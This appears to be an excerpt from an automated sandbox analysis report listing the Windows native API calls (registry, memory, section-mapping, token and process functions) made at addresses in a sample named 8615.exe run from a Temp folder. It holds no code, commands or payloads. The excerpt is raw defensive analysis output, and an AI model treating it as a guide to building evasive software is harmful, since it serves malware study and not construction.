Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47BAA0 RtlpLoadMachineUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlpLoadMachineUIByPolicy,ZwClose,	24_2_6B47BAA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A5AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,	24_2_6B4A5AA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AE2BB ZwWaitForAlertByThreadId,	24_2_6B4AE2BB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9AB0 ZwWaitForMultipleObjects,	24_2_6B4B9AB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	24_2_6B49B944
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,	24_2_6B47F150
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	24_2_6B47395E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB150 ZwUnsubscribeWnfStateChange,	24_2_6B4BB150
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501976 ZwCreateEvent,	24_2_6B501976
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB160 ZwUpdateWnfStateData,	24_2_6B4BB160
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA160 ZwCreateWorkerFactory,	24_2_6B4BA160
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548966
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	24_2_6B47B171
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD976 ZwCreateFile,ZwCreateFile,	24_2_6B4AD976
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,	24_2_6B479100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B480100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	24_2_6B480100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9900 ZwOpenEvent,	24_2_6B4B9900
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B515100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,RtlAssert,ZwTerminateProcess,	24_2_6B515100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120 RtlAllocateHeap,memmove,memmove,RtlPrefixUnicodeString,RtlAllocateHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B50193B ZwRaiseException,ZwTerminateProcess,	24_2_6B50193B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9920 ZwDuplicateToken,	24_2_6B4B9920
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F13B ZwOpenKey,ZwCreateKey,	24_2_6B54F13B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA130 ZwCreateWaitCompletionPacket,	24_2_6B4BA130
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5019C8 ZwCreateSection,ZwMapViewOfSection,memset,ZwUnmapViewOfSection,ZwClose,	24_2_6B5019C8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5489E7 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B5489E7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49C182 RtlGetCurrentServiceSessionId,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,	24_2_6B49C182
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9980 ZwCreateEvent,	24_2_6B4B9980
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB180 ZwWaitForAlertByThreadId,	24_2_6B4BB180
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B526186 ZwQueryValueKey,memmove,RtlInitUnicodeString,	24_2_6B526186
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47519E RtlEqualUnicodeString,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	24_2_6B47519E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53A189 RtlAcquireSRWLockExclusive,ZwGetNlsSectionPtr,RtlAllocateHeap,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,	24_2_6B53A189
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9990 ZwQueryVolumeInformationFile,	24_2_6B4B9990
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F1B5 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	24_2_6B54F1B5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB1A0 ZwWaitForKeyedEvent,	24_2_6B4BB1A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F51BE ZwQuerySystemInformation,ZwQuerySystemInformationEx,RtlAllocateHeap,ZwQuerySystemInformationEx,RtlFindCharInUnicodeString,RtlEnterCriticalSection,memcpy,	24_2_6B4F51BE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC9BF DbgPrintEx,wcsrchr,memcpy,DbgPrintEx,ZwClose,DbgPrintEx,DbgPrintEx,RtlDosPathNameToRelativeNtPathName_U,DbgPrintEx,ZwOpenFile,ZwClose,RtlFreeHeap,DbgPrintEx,DbgPrintEx,DbgPrintEx,RtlDeleteBoundaryDescriptor,ZwClose,RtlFreeHeap,	24_2_6B4AC9BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5349A4 ZwAllocateVirtualMemory,RtlCompareMemory,memcpy,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,	24_2_6B5349A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA9B0 ZwQueryLicenseValue,	24_2_6B4BA9B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9840 ZwDelayExecution,	24_2_6B4B9840
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548858 ZwAlertThreadByThreadId,	24_2_6B548858
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,	24_2_6B475050
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9850 ZwQueryDirectoryFile,	24_2_6B4B9850
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48106F ZwOpenKey,ZwClose,	24_2_6B48106F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	24_2_6B501879
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	24_2_6B54F019
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	24_2_6B47F018
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,	24_2_6B4A4020
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9830 ZwOpenFile,	24_2_6B4B9830
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4770C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	24_2_6B4770C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B00C2 ZwAlertThreadByThreadId,	24_2_6B4B00C2
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B98D0 ZwQueryAttributesFile,	24_2_6B4B98D0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA0D0 ZwCreateTimer2,	24_2_6B4BA0D0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B10D7 ZwOpenKey,ZwCreateKey,	24_2_6B4B10D7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	24_2_6B47B8F0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4740FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	24_2_6B4740FD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5260E9 ZwOpenKey,ZwClose,ZwClose,	24_2_6B5260E9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52E0E9 RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwClose,RtlFreeHeap,	24_2_6B52E0E9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B108B ZwClose,	24_2_6B4B108B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	24_2_6B473880
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AA080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,	24_2_6B4AA080
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	24_2_6B49E090
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA890 ZwQueryDebugFilterState,	24_2_6B4BA890
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9890 ZwFsControlFile,	24_2_6B4B9890
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49F0AE ZwSetInformationWorkerFactory,	24_2_6B49F0AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5260A2 ZwQueryInformationFile,	24_2_6B5260A2
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A18B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	24_2_6B4A18B9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AF0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	24_2_6B4AF0BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB0B0 ZwTraceControl,	24_2_6B4BB0B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	24_2_6B4A174B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B0F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	24_2_6B4B0F48
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FA746 ZwGetCachedSigningLevel,ZwCompareSigningLevels,ZwSetCachedSigningLevel,	24_2_6B4FA746
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9740 ZwOpenThreadToken,	24_2_6B4B9740
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,	24_2_6B505F5F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9750 ZwQueryInformationThread,	24_2_6B4B9750
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,	24_2_6B4ACF6A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52CF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	24_2_6B52CF70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlGetPersistedStateLocation,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,	24_2_6B476F60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAF60 ZwSetTimer2,	24_2_6B4BAF60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9F70 ZwCreateIoCompletion,	24_2_6B4B9F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9770 ZwSetInformationFile,	24_2_6B4B9770
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B50176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	24_2_6B50176C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548F6A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506715 memset,memcpy,ZwTraceEvent,	24_2_6B506715
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A9702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	24_2_6B4A9702
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9710 ZwQueryInformationToken,	24_2_6B4B9710
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52CF30 ZwAlertThreadByThreadId,	24_2_6B52CF30
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AE730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,	24_2_6B4AE730
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9730 ZwQueryVirtualMemory,	24_2_6B4B9730
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,	24_2_6B4AD7CA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,	24_2_6B47F7C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B97C0 ZwTerminateProcess,	24_2_6B4B97C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,	24_2_6B4ADFDF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAFD0 ZwShutdownWorkerFactory,	24_2_6B4BAFD0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B480FFD RtlInitUnicodeString,ZwQueryValueKey,	24_2_6B480FFD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B500FEC ZwDuplicateObject,ZwDuplicateObject,	24_2_6B500FEC
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505780 DbgPrompt,ZwWow64DebuggerCall,	24_2_6B505780
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B525F87 ZwUnmapViewOfSection,	24_2_6B525F87
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AFF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,	24_2_6B4AFF9C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FA7AC ZwCompareSigningLevels,ZwCompareSigningLevels,	24_2_6B4FA7AC
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B97A0 ZwUnmapViewOfSection,	24_2_6B4B97A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B3FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,	24_2_6B4B3FA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,	24_2_6B506652
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	24_2_6B4BB640
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	24_2_6B4BB650
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9650 ZwQueryValueKey,	24_2_6B4B9650
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ABE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,	24_2_6B4ABE62
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAE70 ZwSetInformationWorkerFactory,	24_2_6B4BAE70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9670 ZwQueryInformationProcess,	24_2_6B4B9670
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B502E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B502E14
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	24_2_6B47C600
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B2E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,	24_2_6B4B2E1C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9610 ZwEnumerateValueKey,	24_2_6B4B9610
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9E20 ZwCancelTimer2,	24_2_6B4B9E20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52FE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B52FE3F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B543E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	24_2_6B543E22
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B630 ZwWaitForKeyedEvent,	24_2_6B47B630
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9E30 ZwCancelWaitCompletionPacket,	24_2_6B4B9E30
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548ED6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B96C0 ZwSetInformationProcess,	24_2_6B4B96C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4766D4 RtlInitUnicodeString,ZwQueryValueKey,	24_2_6B4766D4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A9ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	24_2_6B4A9ED0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B96D0 ZwCreateKey,	24_2_6B4B96D0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	24_2_6B472ED8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5016FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	24_2_6B5016FA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B96E0 ZwFreeVirtualMemory,	24_2_6B4B96E0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49E6F9 ZwAlpcSetInformation,	24_2_6B49E6F9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4876FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,	24_2_6B4876FE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	24_2_6B47B6F0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4CDEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	24_2_6B4CDEF0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B473E80
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52BE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	24_2_6B52BE9B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	24_2_6B4ADE9E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472E9F ZwCreateEvent,ZwClose,	24_2_6B472E9F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B543EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	24_2_6B543EBC
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9EA0 ZwCompareSigningLevels,	24_2_6B4B9EA0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B502EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B502EA3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,	24_2_6B49E6B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B541D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,	24_2_6B541D55
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A0548 RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlRbInsertNodeEx,ZwQueryVirtualMemory,	24_2_6B4A0548
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501D43 ZwQueryInformationThread,	24_2_6B501D43
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	24_2_6B501570
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B536D61 ZwAllocateVirtualMemoryEx,	24_2_6B536D61
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501D6A ZwWaitForMultipleObjects,	24_2_6B501D6A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9D70 ZwAlpcQueryInformation,	24_2_6B4B9D70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501D0B ZwSetInformationProcess,	24_2_6B501D0B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAD10 ZwSetCachedSigningLevel,	24_2_6B4BAD10
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548D34
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A1520 RtlInitializeCriticalSectionEx,RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B4A1520
